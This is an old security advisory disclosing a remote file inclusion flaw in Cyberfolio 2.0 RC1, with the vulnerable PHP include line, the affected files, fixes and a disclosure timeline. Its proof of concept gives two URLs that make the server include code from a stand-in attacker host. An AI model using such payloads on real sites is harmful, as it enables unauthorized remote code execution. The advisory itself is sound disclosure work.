Echo Security Advisory 2006.58

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ECHO_ADV_58$2006  
  
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[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av Remote File Inclusion Vulnerability  
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Author : Dedi Dwianto a.k.a the_day  
Date Found : November, 01nd 2006  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv58-theday-2006.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Cyberfolio  
version : <=2.0 RC1  
URL : http://www.cyberfolio.org  
  
---------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~~~  
  
I found vulnerability in script view.php  
--------------------------view.php-----------------------------------  
....  
<?  
...  
$newfic=$av."checkauth".$_SESSION[inlog].".php";  
include("$newfic");  
include_once($av."config.php");  
include_once($av."connect.php");  
...  
----------------------------------------------------------  
  
Input passed to the "$av" parameter in view.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
Also affected files :  
  
portfolio/msg/view.php  
portfolio/msg/inc_message.php  
portfolio/msg/inc_envoi.php  
portfolio/admin/incl_voir_compet.php  
  
  
Proof Of Concept:  
~~~~~~~~~~~~~~  
  
http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?  
http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?  
  
  
Solution:  
~~~~~~  
  
- Sanitize variable $av affected files.  
- Turn off register_globals  
  
Timeline :  
~~~~~~~~  
  
01 - 11 - 2006 bugs found  
01 - 11 - 2006 vendor contacted  
07 - 11 - 2006 public disclosure  
  
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Shoutz:  
~~  
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous  
~ Jessy My Brain  
~ az001,bomm_3x,matdhule,angelia  
~ [email protected]  
~ #aikmel - #e-c-h-o @irc.dal.net  
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---  
Contact:  
~~~  
EcHo Research & Development Center  
the_day[at]echo[dot]or[dot]id  
  
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